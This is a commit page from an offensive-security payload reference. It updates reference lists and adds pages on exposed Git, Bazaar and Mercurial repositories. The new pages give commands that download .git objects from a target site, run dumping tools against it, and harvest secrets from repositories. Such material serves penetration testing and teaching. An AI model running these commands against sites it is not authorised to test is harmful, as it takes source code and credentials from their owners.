Skip to content

Commit

Permalink
References updated for IDOR, Radomness and SCM
Browse files Browse the repository at this point in the history
  • Loading branch information
swisskyrepo committed Nov 7, 2024
1 parent 7e39026 commit ccffaa5
Show file tree
Hide file tree
Showing 8 changed files with 384 additions and 308 deletions.
22 changes: 11 additions & 11 deletions Insecure Direct Object References/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -26,7 +26,7 @@

## Labs

* [PortSwigger - Insecure Direct Object References](https://portswigger.net/web-security/access-control/lab-insecure-direct-object-references)
- [PortSwigger - Insecure Direct Object References](https://portswigger.net/web-security/access-control/lab-insecure-direct-object-references)


## Exploit
Expand Down Expand Up @@ -132,13 +132,13 @@ Send a wildcard (`*`, `%`, `.`, `_`) instead of an ID, some backend might respon

## References

* [OWASP - Testing for Insecure Direct Object References (OTG-AUTHZ-004)](https://www.owasp.org/index.php/Testing_for_Insecure_Direct_Object_References_(OTG-AUTHZ-004))
* [OWASP - Insecure Direct Object Reference Prevention Cheat Sheet](https://www.owasp.org/index.php/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet)
* [BUGCROWD - How-To: Find IDOR (Insecure Direct Object Reference) Vulnerabilities for large bounty rewards - Sam Houton](https://www.bugcrowd.com/blog/how-to-find-idor-insecure-direct-object-reference-vulnerabilities-for-large-bounty-rewards/)
* [Manipulation of ETH balance](https://www.vicompany.nl/magazine/from-christmas-present-in-the-blockchain-to-massive-bug-bounty)
* [Viewing private Airbnb Messages](http://buer.haus/2017/03/31/airbnb-web-to-app-phone-notification-idor-to-view-everyones-airbnb-messages/)
* [Hunting Insecure Direct Object Reference Vulnerabilities for Fun and Profit (PART-1) - Mohammed Abdul Raheem - Feb 2, 2018](https://codeburst.io/hunting-insecure-direct-object-reference-vulnerabilities-for-fun-and-profit-part-1-f338c6a52782)
* [IDOR - how to predict an identifier? Bug bounty case study - Bug Bounty Reports Explained - ](https://youtu.be/wx5TwS0Dres)
* [Testing for IDORs - PortSwigger](https://portswigger.net/burp/documentation/desktop/testing-workflow/access-controls/testing-for-idors)
* [Insecure direct object references (IDOR) - PortSwigger](https://portswigger.net/web-security/access-control/idor)
* [The Rise of IDOR - HackerOne - April 2nd, 2021](https://www.hackerone.com/company-news/rise-idor)
- [From Christmas present in the blockchain to massive bug bounty - Jesse Lakerveld - March 21, 2018](http://web.archive.org/web/20180401130129/https://www.vicompany.nl/magazine/from-christmas-present-in-the-blockchain-to-massive-bug-bounty)
- [How-To: Find IDOR (Insecure Direct Object Reference) Vulnerabilities for large bounty rewards - Sam Houton - November 9, 2017](https://www.bugcrowd.com/blog/how-to-find-idor-insecure-direct-object-reference-vulnerabilities-for-large-bounty-rewards/)
- [Hunting Insecure Direct Object Reference Vulnerabilities for Fun and Profit (PART-1) - Mohammed Abdul Raheem - February 2, 2018](https://codeburst.io/hunting-insecure-direct-object-reference-vulnerabilities-for-fun-and-profit-part-1-f338c6a52782)
- [IDOR - how to predict an identifier? Bug bounty case study - Bug Bounty Reports Explained - September 21, 2023](https://youtu.be/wx5TwS0Dres)
- [Insecure Direct Object Reference Prevention Cheat Sheet - OWASP - July 31, 2023](https://www.owasp.org/index.php/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet)
- [Insecure direct object references (IDOR) - PortSwigger - December 25, 2019](https://portswigger.net/web-security/access-control/idor)
- [Testing for IDORs - PortSwigger - October 29, 2024](https://portswigger.net/burp/documentation/desktop/testing-workflow/access-controls/testing-for-idors)
- [Testing for Insecure Direct Object References (OTG-AUTHZ-004) - OWASP - August 8, 2014](https://www.owasp.org/index.php/Testing_for_Insecure_Direct_Object_References_(OTG-AUTHZ-004))
- [The Rise of IDOR - HackerOne - April 2, 2021](https://www.hackerone.com/company-news/rise-idor)
- [Web to App Phone Notification IDOR to view Everyone's Airbnb Messages - Brett Buerhaus - March 31, 2017](http://buer.haus/2017/03/31/airbnb-web-to-app-phone-notification-idor-to-view-everyones-airbnb-messages/)
12 changes: 10 additions & 2 deletions Insecure Management Interface/README.md
Original file line number Diff line number Diff line change
@@ -1,5 +1,12 @@
# Insecure Management Interface

## Summary

* [Springboot-Actuator](#springboot-actuator)
* [Remote Code Execution via /env](#remote-code-execution-via-env)
* [References](#references)


## Springboot-Actuator

Actuator endpoints let you monitor and interact with your application.
Expand Down Expand Up @@ -88,7 +95,8 @@ Content-Type: application/x-www-form-urlencoded
Content-Length: 0
```


## References

* [Springboot - Official Documentation](https://docs.spring.io/spring-boot/docs/current/reference/html/production-ready-endpoints.html)
* [Exploiting Spring Boot Actuators - Veracode](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)
- [Exploiting Spring Boot Actuators - Michael Stepankin - Feb 25, 2019](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)
- [Springboot - Official Documentation - May 9, 2024](https://docs.spring.io/spring-boot/docs/current/reference/html/production-ready-endpoints.html)
14 changes: 7 additions & 7 deletions Insecure Randomness/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -166,10 +166,10 @@ Generic identification and sandwitch attack:
## References
* [In GUID We Trust - Daniel Thatcher - October 11, 2022](https://www.intruder.io/research/in-guid-we-trust)
* [IDOR through MongoDB Object IDs Prediction - Amey Anekar - August 25, 2020](https://techkranti.com/idor-through-mongodb-object-ids-prediction/)
* [[FR] Secret basé sur le temps non sécurisé et attaque par sandwich - Analyse de mes recherches et publication de l’outil “Reset Tolkien” - Tom CHAMBARETAUD / @AethliosIK - 2 apr 2024](https://www.aeth.cc/public/Article-Reset-Tolkien/secret-time-based-article-fr.html)
* [[EN] Unsecure time-based secret and Sandwich Attack - Analysis of my research and release of the “Reset Tolkien” tool - Tom CHAMBARETAUD / @AethliosIK - 2 apr 2024](https://www.aeth.cc/public/Article-Reset-Tolkien/secret-time-based-article-en.html)
* [Secret non sécurisé basé sur le temps et attaques par sandwich - Tom CHAMBARETAUD aka Aethlios](#)
* [Exploiting Weak Pseudo-Random Number Generation in PHP’s rand and srand Functions - Jacob Moore - Oct 18, 2023](https://medium.com/@moorejacob2017/exploiting-weak-pseudo-random-number-generation-in-phps-rand-and-srand-functions-445229b83e01)
* [Breaking PHP's mt_rand() with 2 values and no bruteforce - Charles Fol - 06 January, 2020](https://www.ambionics.io/blog/php-mt-rand-prediction)
- [In GUID We Trust - Daniel Thatcher - October 11, 2022](https://www.intruder.io/research/in-guid-we-trust)
- [IDOR through MongoDB Object IDs Prediction - Amey Anekar - August 25, 2020](https://techkranti.com/idor-through-mongodb-object-ids-prediction/)
- [Secret basé sur le temps non sécurisé et attaque par sandwich - Analyse de mes recherches et publication de l’outil “Reset Tolkien” - Tom CHAMBARETAUD (@AethliosIK) - April 2, 2024](https://www.aeth.cc/public/Article-Reset-Tolkien/secret-time-based-article-fr.html) *(FR)*
- [Unsecure time-based secret and Sandwich Attack - Analysis of my research and release of the “Reset Tolkien” tool - Tom CHAMBARETAUD (@AethliosIK) - April 2, 2024](https://www.aeth.cc/public/Article-Reset-Tolkien/secret-time-based-article-en.html) *(EN)*
- [Multi-sandwich attack with MongoDB Object ID or the scenario for real-time monitoring of web application invitations: a new use case for the sandwich attack - Tom CHAMBARETAUD (@AethliosIK) - July 18, 2024](https://www.aeth.cc/public/Article-Reset-Tolkien/multi-sandwich-article-en.html)
- [Exploiting Weak Pseudo-Random Number Generation in PHP’s rand and srand Functions - Jacob Moore - October 18, 2023](https://medium.com/@moorejacob2017/exploiting-weak-pseudo-random-number-generation-in-phps-rand-and-srand-functions-445229b83e01)
- [Breaking PHP's mt_rand() with 2 values and no bruteforce - Charles Fol - January 6, 2020](https://www.ambionics.io/blog/php-mt-rand-prediction)
47 changes: 47 additions & 0 deletions Insecure Source Code Management/Bazaar.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,47 @@
# Bazaar

## Summary

* [Tools](#tools)
* [rip-bzr.pl](#rip-bzrpl)
* [bzr_dumper](#bzr_dumper)
* [References](#references)


## Tools

### rip-bzr.pl

```powershell
wget https://raw.githubusercontent.com/kost/dvcs-ripper/master/rip-bzr.pl
docker run --rm -it -v /path/to/host/work:/work:rw k0st/alpine-dvcs-ripper rip-bzr.pl -v -u
```

### bzr_dumper

```powershell
git clone https://github.com/SeahunOh/bzr_dumper
python3 dumper.py -u "http://127.0.0.1:5000/" -o source
Created a standalone tree (format: 2a)
[!] Target : http://127.0.0.1:5000/
[+] Start.
[+] GET repository/pack-names
[+] GET README
[+] GET checkout/dirstate
[+] GET checkout/views
[+] GET branch/branch.conf
[+] GET branch/format
[+] GET branch/last-revision
[+] GET branch/tag
[+] GET b'154411f0f33adc3ff8cfb3d34209cbd1'
[*] Finish
$ bzr revert
N application.py
N database.py
N static/
```

## References

- [STEM CTF Cyber Challenge 2019 – My First Blog - m3ssap0 / zuzzur3ll0n1 - March 2, 2019](https://ctftime.org/writeup/13380)
221 changes: 221 additions & 0 deletions Insecure Source Code Management/Git.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,221 @@
# Git

## Summary

* [Example](#example)
* [Recovering file contents from .git/logs/HEAD](#recovering-file-contents-from-gitlogshead)
* [Recovering file contents from .git/index](#recovering-file-contents-from-gitindex)
* [Tools](#tools)
* [Automatic recovery](#automatic-recovery)
* [git-dumper.py](#git-dumperpy)
* [diggit.py](#diggitpy)
* [GoGitDumper](#gogitdumper)
* [rip-git](#rip-git)
* [GitHack](#githack)
* [GitTools](#gittools)
* [Harvesting secrets](#harvesting-secrets)
* [trufflehog](#trufflehog)
* [Yar](#yar)
* [Gitrob](#gitrob)
* [Gitleaks](#gitleaks)
* [Refererences]


## Example

The following examples will create either a copy of the .git or a copy of the current commit.

Check for the following files, if they exist you can extract the .git folder.

- .git/config
- .git/HEAD
- .git/logs/HEAD

### Recovering file contents from .git/logs/HEAD

1. Check for 403 Forbidden or directory listing to find the `/.git/` directory
2. Git saves all information in `.git/logs/HEAD` (try lowercase `head` too)
```powershell
0000000000000000000000000000000000000000 15ca375e54f056a576905b41a417b413c57df6eb root <root@dfc2eabdf236.(none)> 1455532500 +0000 clone: from https://github.com/fermayo/hello-world-lamp.git
15ca375e54f056a576905b41a417b413c57df6eb 26e35470d38c4d6815bc4426a862d5399f04865c Michael <[email protected]> 1489390329 +0000 commit: Initial.
26e35470d38c4d6815bc4426a862d5399f04865c 6b4131bb3b84e9446218359414d636bda782d097 Michael <[email protected]> 1489390330 +0000 commit: Whoops! Remove flag.
6b4131bb3b84e9446218359414d636bda782d097 a48ee6d6ca840b9130fbaa73bbf55e9e730e4cfd Michael <[email protected]> 1489390332 +0000 commit: Prevent directory listing.
```
3. Access the commit using the hash
```powershell
# create an empty .git repository
git init test
cd test/.git
# download the file
wget http://web.site/.git/objects/26/e35470d38c4d6815bc4426a862d5399f04865c
# first byte for subdirectory, remaining bytes for filename
mkdir .git/object/26
mv e35470d38c4d6815bc4426a862d5399f04865c .git/objects/26/
# display the file
git cat-file -p 26e35470d38c4d6815bc4426a862d5399f04865c
tree 323240a3983045cdc0dec2e88c1358e7998f2e39
parent 15ca375e54f056a576905b41a417b413c57df6eb
author Michael <[email protected]> 1489390329 +0000
committer Michael <[email protected]> 1489390329 +0000
Initial.
```
4. Access the tree 323240a3983045cdc0dec2e88c1358e7998f2e39
```powershell
wget http://web.site/.git/objects/32/3240a3983045cdc0dec2e88c1358e7998f2e39
mkdir .git/object/32
mv 3240a3983045cdc0dec2e88c1358e7998f2e39 .git/objects/32/
git cat-file -p 323240a3983045cdc0dec2e88c1358e7998f2e39
040000 tree bd083286051cd869ee6485a3046b9935fbd127c0 css
100644 blob cb6139863967a752f3402b3975e97a84d152fd8f flag.txt
040000 tree 14032aabd85b43a058cfc7025dd4fa9dd325ea97 fonts
100644 blob a7f8a24096d81887483b5f0fa21251a7eefd0db1 index.html
040000 tree 5df8b56e2ffd07b050d6b6913c72aec44c8f39d8 js
```
5. Read the data (flag.txt)
```powershell
wget http://web.site/.git/objects/cb/6139863967a752f3402b3975e97a84d152fd8f
mkdir .git/object/cb
mv 6139863967a752f3402b3975e97a84d152fd8f .git/objects/32/
git cat-file -p cb6139863967a752f3402b3975e97a84d152fd8f
```

### Recovering file contents from .git/index

Use the git index file parser https://pypi.python.org/pypi/gin (python3).

```powershell
pip3 install gin
gin ~/git-repo/.git/index
```

Recover name and sha1 hash of every file listed in the index, and use the same process above to recover the file.

```powershell
$ gin .git/index | egrep -e "name|sha1"
name = AWS Amazon Bucket S3/README.md
sha1 = 862a3e58d138d6809405aa062249487bee074b98
name = CRLF injection/README.md
sha1 = d7ef4d77741c38b6d3806e0c6a57bf1090eec141
```

## Tools

### Automatic recovery

#### git-dumper.py

```powershell
git clone https://github.com/arthaud/git-dumper
pip install -r requirements.txt
./git-dumper.py http://web.site/.git ~/website
```

#### diggit.py

```powershell
git clone https://github.com/bl4de/security-tools/ && cd security-tools/diggit
./diggit.py -u remote_git_repo -t temp_folder -o object_hash [-r=True]
./diggit.py -u http://web.site -t /path/to/temp/folder/ -o d60fbeed6db32865a1f01bb9e485755f085f51c1
-u is remote path, where .git folder exists
-t is path to local folder with dummy Git repository and where blob content (files) are saved with their real names (cd /path/to/temp/folder && git init)
-o is a hash of particular Git object to download
```

#### GoGitDumper

```powershell
go get github.com/c-sto/gogitdumper
gogitdumper -u http://web.site/.git/ -o yourdecideddir/.git/
git log
git checkout
```

#### rip-git

```powershell
git clone https://github.com/kost/dvcs-ripper
perl rip-git.pl -v -u "http://web.site/.git/"
git cat-file -p 07603070376d63d911f608120eb4b5489b507692
tree 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2
parent 15ca375e54f056a576905b41a417b413c57df6eb
author Michael <[email protected]> 1489389105 +0000
committer Michael <[email protected]> 1489389105 +0000
git cat-file -p 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2
```

#### GitHack

```powershell
git clone https://github.com/lijiejie/GitHack
GitHack.py http://web.site/.git/
```

#### GitTools

```powershell
git clone https://github.com/internetwache/GitTools
./gitdumper.sh http://target.tld/.git/ /tmp/destdir
git checkout -- .
```

### Harvesting secrets

#### trufflehog

> Searches through git repositories for high entropy strings and secrets, digging deep into commit history.
```powershell
pip install truffleHog # https://github.com/dxa4481/truffleHog
truffleHog --regex --entropy=False https://github.com/dxa4481/truffleHog.git
```

#### Yar

> Searches through users/organizations git repositories for secrets either by regex, entropy or both. Inspired by the infamous truffleHog.
```powershell
go get github.com/nielsing/yar # https://github.com/nielsing/yar
yar -o orgname --both
```

#### Gitrob

> Gitrob is a tool to help find potentially sensitive files pushed to public repositories on Github. Gitrob will clone repositories belonging to a user or organization down to a configurable depth and iterate through the commit history and flag files that match signatures for potentially sensitive files.
```powershell
go get github.com/michenriksen/gitrob # https://github.com/michenriksen/gitrob
export GITROB_ACCESS_TOKEN=deadbeefdeadbeefdeadbeefdeadbeefdeadbeef
gitrob [options] target [target2] ... [targetN]
```

#### Gitleaks

> Gitleaks provides a way for you to find unencrypted secrets and other unwanted data types in git source code repositories.
```powershell
# Run gitleaks against a public repository
docker run --rm --name=gitleaks zricethezav/gitleaks -v -r https://github.com/zricethezav/gitleaks.git
# Run gitleaks against a local repository already cloned into /tmp/
docker run --rm --name=gitleaks -v /tmp/:/code/ zricethezav/gitleaks -v --repo-path=/code/gitleaks
# Run gitleaks against a specific Github Pull request
docker run --rm --name=gitleaks -e GITHUB_TOKEN={your token} zricethezav/gitleaks --github-pr=https://github.com/owner/repo/pull/9000
or
go get -u github.com/zricethezav/gitleaks
```


## References

- [Gitrob: Now in Go - Michael Henriksen - January 24, 2024](https://michenriksen.com/blog/gitrob-now-in-go/)
22 changes: 22 additions & 0 deletions Insecure Source Code Management/Mercurial.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
# Mercurial

## Summary

* [Tools](#tools)
* [rip-hg.pl](#rip-hgpl)
* [References](#references)


## Tools

### rip-hg.pl

* [kost/dvcs-ripper/master/rip-hg.pl](https://raw.githubusercontent.com/kost/dvcs-ripper/master/rip-hg.pl) - Rip web accessible (distributed) version control systems: SVN/GIT/HG...
```powershell
docker run --rm -it -v /path/to/host/work:/work:rw k0st/alpine-dvcs-ripper rip-hg.pl -v -u
```
## References
* [my-chemical-romance - siunam - Feb 13, 2023](https://siunam321.github.io/ctf/LA-CTF-2023/Web/my-chemical-romance/)
Loading

0 comments on commit ccffaa5

Please sign in to comment.